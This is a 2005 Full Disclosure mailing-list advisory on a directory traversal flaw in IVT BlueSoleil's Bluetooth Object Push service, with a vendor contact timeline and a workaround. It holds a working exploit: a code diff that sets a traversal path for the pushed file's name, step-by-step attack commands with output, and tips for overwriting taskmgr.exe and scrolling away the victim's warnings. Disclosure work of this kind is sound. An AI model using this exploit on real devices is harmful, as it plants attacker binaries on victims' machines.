Full Disclosure mailing list archives

DMA[2005-0401a] - 'IVT BlueSoleil Directory Transversal'


From: "KF (Lists)" <kf_lists () digitalmunition com>
Date: Fri, 01 Apr 2005 00:38:48 -0500

DMA[2005-0401a] - 'IVT BlueSoleil Directory Transversal'
Author: Kevin Finisterre
Vendor: http://www.bluesoleil.com/products/index.asp, http://www.ivtcorporation.com/
Product: 'IVT BlueSoleil 1.4'
References: http://www.digitalmunition.com/DMA[2005-0103a].txt

Description: 
90% of the USB Bluetooth dongles you find on the market will come with drivers from 
Widcomm. Out of the 7 dongles I own only one does not use some flavor of Widcomm. My 
SMC Networks SMC-BT10 came with IVT BlueSoleil 1.4 software. 

BlueSoleil for Windows is a set of Bluetooth Application Profiles implemented on the
Windows platform. BlueSoleil is fully compliant with the Bluetooth SIG's latest 
specifications. It can enable PCs to form networks and exchange information wirelessly. 
It can also provide PC's a fast and reliable solution for effortless wireless connections 
to mobile phones, headsets, PDA's, Access Points, Printers, Digital Cameras, PC peripherals, 
etc. BlueSoleil supports more than ten Bluetooth chip-sets and different HCI interfaces 
which include USB, UART, PCMCIA and Compact Flash. 

My BlueSoleil install was performed on a Windows XP SP2 machine using the above mentioned 
SMC-BT10. I chose all program defaults during the install. Upon rebooting my machine the 
"Welcome to Bluetooth" screen was displayed and I was asked for a device name and type. I 
was told that my security level was set to 'Medium' and that other devices must provide a 
Bluetooth passkey before connecting with my computer. I was given the option to disable this 
security authentication by simply unchecking a box and clicking ok to continue. My PDA can 
be pickey about using a pass key so I did go with 'Low' security. The BlueSoleil website 
mentioned that 'some old dongles my not support some operations' when dealing with using the 
key functions. This behavior could obviously prompt other users to set security to 'Low'. 

Regardless of the security setting you should know that it is possible for an attacker to 
take advantage of at least one vulnerability in the IVT software. All of my testing was done
on Version PTP-1.4.9-Win2k/XP-04.08.27 with Stack Version 04.03.11.20040827. I can not vouch
for the behavior of any other versions of BlueSoleil. Even connections that make use of 
pins are vulnerable.

By default the Object Push Service is Auto-started when BlueSoleil is opened. Any files that
are pushed to the device should show up in which ever directory the user specified during 
configuration. The default is C:\Documents and Settings\<username>\My Documents\Bluetooth\inbox

In order to exploit this issue all we need is a modified obextool.c from ussp-push-0.2:

@@ -316,7 +316,7 @@
        }

        filename = argv[1];
-       alias = basename(filename);
+       alias = "../../../../../../../../mal.exe";
        str2ba(argv[2], &bdaddr);
        channel = (argc > 3) ? atoi(argv[3]) : 10;

You obviously need a working bluetooth dongle on your machine. First scan for a device that 
*may* be running BlueSoleil. Archiving a list of known dongles that come with the install media 
would obviously be a good idea for future attacks. In the example below the machine 'jdam' is 
attacking 'threat-win32'. 

Scan for the machine. 
jdam:~# hcitool scan
Scanning ...
        00:11:B1:07:BE:A7       threat-win32

Verify that the Object Push service exists. 

jdam:/tmp/ussp-push-0.2# sdptool search OPUSH 00:11:B1:07:BE:A7
Inquiring ...
Searching for OPUSH on 00:11:B1:07:BE:A7 ...
Service Name: OPP Server
Service RecHandle: 0x10005
Service Class ID List:
  "OBEX Object Push" (0x1105)
Protocol Descriptor List:
  "L2CAP" (0x0100)
  "RFCOMM" (0x0003)
    Channel: 4
  "OBEX" (0x0008)
Language Base Attr List:
  code_ISO639: 0x656e
  encoding:    0x6a
  base_offset: 0x100
Profile Descriptor List:
  "OBEX Object Push" (0x1105)
    Version: 0x0100

Break out your modified obextool binary. Make use of the Channel listed in the
sdptool output. 

jdam:/tmp/ussp-push-0.2# ./obextool
Bluetooth OBEX tool
Usage:
        obextool [options] <command>
Options:
        -i [hciX|bdaddr]   Local HCI device or BD Address
        -h, --help         Display help
Commands:
        push   <file> <bdaddr> [channel]        Push a file

Pick your binary and send away! 

jdam:/tmp/ussp-push-0.2# ./obextool push calc.exe 00:11:B1:07:BE:A7 4
Sending object ...

For about 10 seconds the following messages are visible on the screen of the attacked 
device. The window only stores 3 messages however so its really easy to make them scroll 
by with some fake business card requests. 

* Remote device (00:20:E0:4C:CF:DF) has connected to my Object Push service!
* An object ../../../../../../../mal.exe is received. 
* Remove Device (00:20:E0:4C:CF:DF) has disconnected from my Object Push service!

jdam:/tmp/bt-tools# ~/qobexclient -t bluetooth -d 00:11:B1:07:BE:A7 -g anything.vcf

* Remote device (00:20:E0:4C:CF:DF) has connected to my Object Push service!
* Your Business card is sent on remote user's request.
* Remove Device (00:20:E0:4C:CF:DF) has disconnected from my Object Push service!

After the attack rather than being bound to the Bluetooth\inbox directory the binary is 
placed pretty much anywhere on the filesystem we want it. 

C:\>dir mal.exe
 Volume in drive C has no label.
 Volume Serial Number is F888-ED9A

 Directory of C:\

07/01/2005  09:28 PM           114,688 mal.exe
               1 File(s)        114,688 bytes
               0 Dir(s)  38,813,556,736 bytes free

Plenty of other variations are available and some may depend on the user that is logged into 
the system. 

You can obviously be creative and use anything that you think the either user or system may run.
alias = "../../../../../../../WINDOWS/System32/taskmgr.exe"; works real well. Especially
if the user misses the really obvious message on their console because you made it scroll by. 
Paranoid users tend to break out Task Manager pretty quick when something sketchy happens. Then
again perhaps a paranoid user would not have his bluetooth wide open?

I attempted to test IVT BlueSoleil for WinCE however it would not run on my device so I can 
not verify the bahavior there. 

I contacted the BlueSoleil staff multiple times after our initial exchange and for some reason
all attempts at contact resulted in zero answer. The initial response was so prompt I was 
surprised no one attempted to contact me further after multiple attempts on my part.

<rant>
Due to the fact that Bluetooth vendors are acting weird right now I don't even feel like 
playing the typical game that goes on in the disclosure process. A perfect example of this  
'weirdness' can be found with Widcomm / Broadcomm and the issues that pentest_co_uk partially 
disclosed last year. 90% of the bluetooth dongles you can buy in the store are vulnerable to attack
and the end user is totally the dark about it. Beacause of half assed disclosure and most likely 
some political BS I would estimate that LOADS of Bluetooth devices can be attacked. Good luck 
getting a software update for your Widcomm product, although new drivers are available the license.dat 
will give your dongle NO love. Some folks have even gone to the extreme of patching Widcomms licensing 
software just so they could use an update, they were however quickly smacked down:
http://www.wifi-forum.com/wf/archive/index.php/t-6631.html

Both version 3 (the one supposed to patch pentest_co_uk's issues) and version 4 are out but chances 
are you are still vulnerable because you can't install the software. I hear you can bitch at some 
vendors enough that they will send you a new dongle that is licensed for newer software. I also hear
i its about like pulling teeth. Have you got a PDA? heh good luck. hrmm what was that line again,
'...(we) recommend that end users stop using the vulnerable WIDCOMM Bluetooth software'. Alternately
users can 'set their Bluetooth device configuration to be non-discoverable or hidden.'. Please note 
however 'This will not stop the device from being vulnerable but it may limit the exposure.' 

If you use Bluetooth try to educate yourself about the software you are using and hound your vendor
for patches!
</rant>

All your Bluetooth are belong to greenplaque. 

Timeline associated with this bug:
03/24/2005 prompt and immediate response from support () bluesoleil com inquiring about the bug 
03/24/2005 Object Push vulnerability disclosed to BlueSoleil Support with request for follow up.
03/28/2005 Request for an update and vendor confirmation of the bug. 
03/29/2005 Secondary ping for an update... surprised I did not get the same prompt response.
03/30/2005 Final ping and attempt to make sure the bug was understood by BlueSoleil staff.
03/31/2005 Message indicating disclosure based on lack of communication surrounding the issue.

Workaround:
'...(we) recommend that end users stop using the vulnerable BLUESOLEIL Bluetooth software'. Alternately
users can 'set their Bluetooth device configuration to be non-discoverable or hidden.'. Please note 
however 'This will not stop the device from being vulnerable but it may limit the exposure.' 

Short of the prompt response I got on the first day NO other attempts at communication were made 
by BlueSoleil staff. 

Other vendors are affected by similar issues and future advisories will be released. 

-KF 

@@ -316,7 +316,7 @@
        }

        filename = argv[1];
-       alias = basename(filename);
+       alias = "../../../../../../../../mal.exe";
        str2ba(argv[2], &bdaddr);
        channel = (argc > 3) ? atoi(argv[3]) : 10;

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Current thread: